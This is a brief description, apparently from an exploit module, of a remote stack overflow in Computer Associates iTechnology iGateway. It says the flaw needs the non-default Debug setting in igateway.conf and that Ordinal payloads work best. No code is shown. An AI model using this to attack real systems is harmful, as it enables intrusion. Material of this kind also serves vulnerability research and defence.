        This module exploits a vulnerability in the Computer Associates
        iTechnology iGateway component. When <Debug>True</Debug> is enabled
        in igateway.conf (non-default), it is possible to overwrite the stack
        and execute code remotely. This module works best with Ordinal payloads.
